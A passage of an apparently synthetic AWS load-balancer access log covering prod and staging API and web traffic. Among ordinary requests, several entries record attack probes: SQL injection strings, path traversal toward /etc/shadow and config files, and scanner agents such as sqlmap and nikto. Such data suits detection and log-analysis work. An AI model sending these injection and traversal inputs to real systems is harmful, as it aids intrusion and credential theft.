0.016090 0.292717 0.015402 302 302 718 3612 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb21-7c67087e8c5e4eae9b527dbd" "prod-api-alb.example.com" "-" 7 2024-11-01T00:15:13.758152Z "forward" "-" "-" "10.0.202.60:443" "302" "-" "-" +https 2024-11-01T00:15:14.661075Z staging-alb 185.181.26.16:63585 83.167.18.99:80 0.119567 0.674848 0.007135 500 500 732 8271 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb22-4ba88d54371d49bea92067a4" "-" "-" 5 2024-11-01T00:15:14.661075Z "forward" "-" "-" "83.167.18.99:80" "500" "-" "-" +https 2024-11-01T00:15:14.847295Z prod-api-alb 101.95.87.1:62977 10.0.214.148:443 0.038557 0.007438 0.054221 200 200 835 9512 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb22-b04800500c354dfe959552dd" "prod-api-alb.example.com" "-" 2 2024-11-01T00:15:14.847295Z "forward" "-" "-" "10.0.214.148:443" "200" "-" "-" +https 2024-11-01T00:15:15.527228Z prod-api-alb 93.169.33.245:42195 10.0.139.237:443 0.000736 0.293032 0.028402 200 200 372 10527 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb23-7c54623e453a4b9ab0b89fb0" "prod-api-alb.example.com" "-" 9 2024-11-01T00:15:15.527228Z "forward" "-" "-" "10.0.139.237:443" "200" "-" "-" +http 2024-11-01T00:15:16.427548Z staging-alb 10.16.136.149:30555 184.78.151.162:8080 0.128037 0.056776 0.096676 200 200 590 4109 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb24-3416e194405e4b5e9bbd0d89" "staging-alb.example.com" "-" 7 2024-11-01T00:15:16.427548Z "forward" "-" "-" "184.78.151.162:8080" "200" "-" "-" +http 2024-11-01T00:15:16.607701Z staging-alb 193.27.228.156:33083 25.136.42.104:80 0.059046 0.406184 0.034271 403 403 774 7143 "GET /api/../../../config HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb24-2ac0433c7adc48c481cb4d5f" "-" "-" 5 2024-11-01T00:15:16.607701Z "forward" "-" "-" "25.136.42.104:80" "403" "-" "-" +https 2024-11-01T00:15:18.119764Z prod-web-alb 83.244.121.86:57645 10.0.141.72:443 0.037293 0.377539 0.029427 301 301 265 3723 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb26-1556c901903f4e14b9181f6d" "prod-web-alb.example.com" "-" 7 2024-11-01T00:15:18.119764Z "forward" "-" "-" "10.0.141.72:443" "301" "-" "-" +https 2024-11-01T00:15:19.858696Z staging-alb 75.167.30.75:18239 149.85.169.174:8080 0.108241 0.573809 0.145798 200 200 787 857 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb27-05bb46ab07724bbc9dac5a45" "staging-alb.example.com" "-" 7 2024-11-01T00:15:19.858696Z "forward" "-" "-" "149.85.169.174:8080" "200" "-" "-" +https 2024-11-01T00:15:20.602661Z staging-alb 216.98.48.10:51980 80.71.246.165:80 0.049838 0.431030 0.028846 200 200 922 11414 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb28-74fbb145de8247d49f03cd5a" "staging-alb.example.com" "-" 1 2024-11-01T00:15:20.602661Z "forward" "-" "-" "80.71.246.165:80" "200" "-" "-" +https 2024-11-01T00:15:21.829970Z prod-api-alb 91.58.11.87:59182 10.0.3.90:443 0.083829 0.048790 0.036959 404 404 428 2709 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb29-bbef3327001b44f9bfa80e89" "prod-api-alb.example.com" "-" 1 2024-11-01T00:15:21.829970Z "forward" "-" "-" "10.0.3.90:443" "404" "-" "-" +https 2024-11-01T00:15:23.170818Z prod-web-alb 131.158.88.72:46470 10.0.203.30:443 0.058741 0.236475 0.010090 302 302 303 14182 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb2b-848f2bac896a4105990e999d" "prod-web-alb.example.com" "-" 9 2024-11-01T00:15:23.170818Z "forward" "-" "-" "10.0.203.30:443" "302" "-" "-" +https 2024-11-01T00:15:24.925690Z prod-api-alb 45.155.205.149:48734 10.0.253.145:443 0.084856 0.266333 0.035796 200 200 673 6373 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb2c-2f2150f683ac475085584b3f" "-" "-" 3 2024-11-01T00:15:24.925690Z "forward" "-" "-" "10.0.253.145:443" "200" "-" "-" +https 2024-11-01T00:15:25.761223Z staging-alb 53.183.99.209:36020 69.18.68.84:80 0.143992 0.404222 0.146234 200 200 463 3017 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb2d-84f35242bb3749c1bbfe7ba7" "staging-alb.example.com" "-" 5 2024-11-01T00:15:25.761223Z "forward" "-" "-" "69.18.68.84:80" "200" "-" "-" +https 2024-11-01T00:15:27.235677Z prod-web-alb 193.27.228.156:61359 10.0.112.138:443 0.037852 0.170251 0.085040 404 404 645 6116 "GET /static/../../secret HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb2f-a2f8fd8dcfb84659b50af9e4" "-" "-" 3 2024-11-01T00:15:27.235677Z "forward" "-" "-" "10.0.112.138:443" "404" "-" "-" +http 2024-11-01T00:15:28.620732Z staging-alb 2.208.124.156:50209 98.179.153.109:80 0.071342 0.026774 0.120646 302 302 564 2063 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb30-b94d53c1579949f59ffaebfb" "staging-alb.example.com" "-" 2 2024-11-01T00:15:28.620732Z "forward" "-" "-" "98.179.153.109:80" "302" "-" "-" +https 2024-11-01T00:15:30.072003Z prod-api-alb 107.109.24.128:48135 10.0.65.132:443 0.091508 0.496605 0.040105 302 302 478 4036 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb32-55f051cd484f47d887820cba" "prod-api-alb.example.com" "-" 2 2024-11-01T00:15:30.072003Z "forward" "-" "-" "10.0.65.132:443" "302" "-" "-" +https 2024-11-01T00:15:31.783072Z prod-api-alb 55.172.46.129:43730 10.0.213.73:443 0.046460 0.144266 0.037485 302 302 35 6453 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb33-683fa2ec71c34d9291773289" "prod-api-alb.example.com" "-" 5 2024-11-01T00:15:31.783072Z "forward" "-" "-" "10.0.213.73:443" "302" "-" "-" +http 2024-11-01T00:15:32.095470Z staging-alb 158.72.66.202:39719 184.60.23.137:8080 0.014612 0.008771 0.089209 301 301 183 9218 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb34-4a65a8dbb1004fcb9f703892" "staging-alb.example.com" "-" 6 2024-11-01T00:15:32.095470Z "forward" "-" "-" "184.60.23.137:8080" "301" "-" "-" +https 2024-11-01T00:15:32.485229Z prod-api-alb 213.21.18.39:50502 10.0.125.51:443 0.026292 0.033508 0.065722 200 200 441 8502 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb34-23f677066f58492dbee0b2de" "prod-api-alb.example.com" "-" 5 2024-11-01T00:15:32.485229Z "forward" "-" "-" "10.0.125.51:443" "200" "-" "-" +http 2024-11-01T00:15:34.381432Z staging-alb 177.216.42.62:41461 41.24.144.218:80 0.021863 0.680436 0.085664 200 200 180 11508 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb36-8b02144d74804e8b8db15a47" "staging-alb.example.com" "-" 1 2024-11-01T00:15:34.381432Z "forward" "-" "-" "41.24.144.218:80" "200" "-" "-" +https 2024-11-01T00:15:35.226995Z prod-web-alb 176.80.253.123:35014 10.0.218.228:443 0.081843 0.264541 0.030056 301 301 919 12639 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb37-a6e5cc975f604edbb2f102ce" "prod-web-alb.example.com" "-" 1 2024-11-01T00:15:35.226995Z "forward" "-" "-" "10.0.218.228:443" "301" "-" "-" +https 2024-11-01T00:15:37.220032Z prod-api-alb 45.155.205.51:48994 10.0.247.158:443 0.051492 0.215795 0.099938 403 403 564 14065 "GET /images/../../../../etc/shadow HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb39-89d2b64fb74448d5888b2998" "-" "-" 3 2024-11-01T00:15:37.220032Z "forward" "-" "-" "10.0.247.158:443" "403" "-" "-" +https 2024-11-01T00:15:38.446114Z prod-api-alb 210.56.14.113:36941 10.0.254.87:443 0.062768 0.173036 0.053815 200 200 644 5659 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb3a-053db482e65645f8a242cb88" "prod-api-alb.example.com" "-" 2 2024-11-01T00:15:38.446114Z "forward" "-" "-" "10.0.254.87:443" "200" "-" "-" +http 2024-11-01T00:15:40.099746Z staging-alb 96.254.234.111:58055 237.40.4.45:443 0.092668 0.732302 0.039858 200 200 323 9518 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb3c-7cdfc90e171b4b968d8c2d4f" "staging-alb.example.com" "-" 10 2024-11-01T00:15:40.099746Z "forward" "-" "-" "237.40.4.45:443" "200" "-" "-" +https 2024-11-01T00:15:41.508702Z prod-api-alb 195.177.125.123:63063 10.0.182.78:443 0.064573 0.191448 0.059110 404 404 973 1988 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb3d-49bd767ff897488c817299f1" "prod-api-alb.example.com" "-" 9 2024-11-01T00:15:41.508702Z "forward" "-" "-" "10.0.182.78:443" "404" "-" "-" +https 2024-11-01T00:15:41.785433Z prod-api-alb 27.159.94.160:54055 10.0.16.148:443 0.070827 0.333958 0.052989 200 200 850 12859 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb3d-47b2069f37dd487c832e1f4b" "prod-api-alb.example.com" "-" 8 2024-11-01T00:15:41.785433Z "forward" "-" "-" "10.0.16.148:443" "200" "-" "-" +https 2024-11-01T00:15:42.671423Z staging-alb 196.116.31.139:28983 121.215.37.12:80 0.073506 0.689349 0.033363 200 200 703 6239 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb3e-1150a5699fe54f67bec80571" "staging-alb.example.com" "-" 8 2024-11-01T00:15:42.671423Z "forward" "-" "-" "121.215.37.12:80" "200" "-" "-" +https 2024-11-01T00:15:43.759577Z prod-web-alb 154.126.50.220:25576 10.0.178.104:443 0.025441 0.277218 0.079735 200 200 345 7867 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb3f-b6e473459af243138dfb5799" "prod-web-alb.example.com" "-" 7 2024-11-01T00:15:43.759577Z "forward" "-" "-" "10.0.178.104:443" "200" "-" "-" +http 2024-11-01T00:15:45.412911Z staging-alb 75.11.239.110:19660 159.114.222.192:8080 0.008461 0.420675 0.019508 200 200 567 6057 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb41-fc0d5552a06a4f4bb08744ed" "staging-alb.example.com" "-" 3 2024-11-01T00:15:45.412911Z "forward" "-" "-" "159.114.222.192:8080" "200" "-" "-" +https 2024-11-01T00:15:46.002888Z prod-web-alb 83.236.245.173:28056 10.0.219.212:443 0.024668 0.373735 0.009139 200 200 47 13081 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb42-c9ae51d568634c32a6e3e00a" "prod-web-alb.example.com" "-" 4 2024-11-01T00:15:46.002888Z "forward" "-" "-" "10.0.219.212:443" "200" "-" "-" +https 2024-11-01T00:15:46.687239Z staging-alb 41.117.51.234:37352 174.213.149.166:443 0.067068 0.644168 0.021901 200 200 366 6720 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb42-d02452af2d2f4da185c79621" "staging-alb.example.com" "-" 6 2024-11-01T00:15:46.687239Z "forward" "-" "-" "174.213.149.166:443" "200" "-" "-" +https 2024-11-01T00:15:47.919281Z prod-api-alb 119.134.207.77:10458 10.0.230.26:443 0.006278 0.342727 0.051717 200 200 770 2612 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb43-b425a6d1966a4019bc11a23e" "prod-api-alb.example.com" "-" 6 2024-11-01T00:15:47.919281Z "forward" "-" "-" "10.0.230.26:443" "200" "-" "-" +https 2024-11-01T00:15:49.346735Z prod-web-alb 27.247.68.19:22398 10.0.57.8:443 0.076201 0.223491 0.043716 200 200 996 1747 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb45-5c3c587c9021430f89316018" "prod-web-alb.example.com" "-" 2 2024-11-01T00:15:49.346735Z "forward" "-" "-" "10.0.57.8:443" "200" "-" "-" +https 2024-11-01T00:15:51.240282Z staging-alb 129.195.248.11:45860 5.226.174.190:443 0.104077 0.129338 0.109891 404 404 232 9558 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb47-b751748231b3404ebc70b13e" "staging-alb.example.com" "-" 9 2024-11-01T00:15:51.240282Z "forward" "-" "-" "5.226.174.190:443" "404" "-" "-" +https 2024-11-01T00:15:51.422808Z prod-web-alb 4.99.225.43:39690 10.0.146.174:443 0.059840 0.222987 0.014543 302 302 131 13725 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb47-3f630d1e7b224f9a8636821a" "prod-web-alb.example.com" "-" 8 2024-11-01T00:15:51.422808Z "forward" "-" "-" "10.0.146.174:443" "302" "-" "-" +https 2024-11-01T00:15:52.288885Z prod-api-alb 243.95.181.110:34521 10.0.220.239:443 0.042196 0.156928 0.004445 200 200 363 5101 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb48-7a8d1d8463394ae5a8ad5396" "prod-api-alb.example.com" "-" 7 2024-11-01T00:15:52.288885Z "forward" "-" "-" "10.0.220.239:443" "200" "-" "-" +http 2024-11-01T00:15:53.492127Z staging-alb 248.218.49.33:24837 239.15.196.7:80 0.062454 0.335734 0.026081 200 200 856 6059 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb49-d3a3a81ee24747d68abb5698" "staging-alb.example.com" "-" 4 2024-11-01T00:15:53.492127Z "forward" "-" "-" "239.15.196.7:80" "200" "-" "-" +https 2024-11-01T00:15:54.459267Z prod-web-alb 240.41.22.26:56468 10.0.69.251:443 0.032342 0.011240 0.039844 200 200 572 6818 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb4a-223937ca0362438ab599306e" "prod-web-alb.example.com" "-" 6 2024-11-01T00:15:54.459267Z "forward" "-" "-" "10.0.69.251:443" "200" "-" "-" +https 2024-11-01T00:15:56.332293Z prod-api-alb 199.82.238.149:23701 10.0.249.28:443 0.093365 0.190006 0.047261 200 200 486 8433 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb4c-4105b5d3ea9043da86b41bda" "prod-api-alb.example.com" "-" 7 2024-11-01T00:15:56.332293Z "forward" "-" "-" "10.0.249.28:443" "200" "-" "-" +https 2024-11-01T00:15:57.186627Z staging-alb 183.61.75.105:32518 41.197.10.226:8080 0.007098 0.095064 0.112052 200 200 932 8451 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb4d-7b4a60f7d2c74bff9306f1ae" "staging-alb.example.com" "-" 8 2024-11-01T00:15:57.186627Z "forward" "-" "-" "41.197.10.226:8080" "200" "-" "-" +https 2024-11-01T00:15:57.534161Z prod-api-alb 201.114.174.122:31755 10.0.240.220:443 0.037902 0.387871 0.083410 200 200 645 14730 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb4d-f3be94c0fce04c08b33559d4" "prod-api-alb.example.com" "-" 9 2024-11-01T00:15:57.534161Z "forward" "-" "-" "10.0.240.220:443" "200" "-" "-" +https 2024-11-01T00:15:59.221485Z staging-alb 44.249.134.103:40045 239.50.228.107:80 0.137744 0.480171 0.103099 200 200 610 10042 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb4f-5df41616dff2425fa44618f7" "staging-alb.example.com" "-" 6 2024-11-01T00:15:59.221485Z "forward" "-" "-" "239.50.228.107:80" "200" "-" "-" +https 2024-11-01T00:16:00.623916Z prod-web-alb 229.212.42.119:37353 10.0.239.83:443 0.074952 0.227306 0.021779 302 302 522 12157 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb50-9b1b4fc93ea447c3b8bca247" "prod-web-alb.example.com" "-" 3 2024-11-01T00:16:00.623916Z "forward" "-" "-" "10.0.239.83:443" "302" "-" "-" +https 2024-11-01T00:16:02.506450Z staging-alb 68.127.212.140:53281 43.157.119.232:443 0.082195 0.712193 0.103219 200 200 631 8455 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb52-893553201a874c328588f08a" "-" "-" 1 2024-11-01T00:16:02.506450Z "forward" "-" "-" "43.157.119.232:443" "200" "-" "-" +https 2024-11-01T00:16:03.042625Z prod-web-alb 45.155.205.19:18630 10.0.96.112:443 0.012743 0.174972 0.046383 403 403 846 3923 "GET /api/../../../config HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb53-3517688709804d64986beedf" "-" "-" 7 2024-11-01T00:16:03.042625Z "forward" "-" "-" "10.0.96.112:443" "403" "-" "-" +https 2024-11-01T00:16:03.275981Z prod-api-alb 240.246.106.37:44861 10.0.189.252:443 0.066268 0.013943 0.073944 301 301 744 516 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb53-94aac9adc7b3449f80256bc5" "prod-api-alb.example.com" "-" 8 2024-11-01T00:16:03.275981Z "forward" "-" "-" "10.0.189.252:443" "301" "-" "-" +https 2024-11-01T00:16:03.525284Z prod-api-alb 251.154.94.32:51268 10.0.30.157:443 0.081894 0.066281 0.015825 200 200 26 2822 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb53-7e100dac35524842a9e59dee" "prod-api-alb.example.com" "-" 10 2024-11-01T00:16:03.525284Z "forward" "-" "-" "10.0.30.157:443" "200" "-" "-" +https 2024-11-01T00:16:05.053655Z prod-web-alb 238.18.107.92:39157 10.0.109.165:443 0.049067 0.142659 0.063387 302 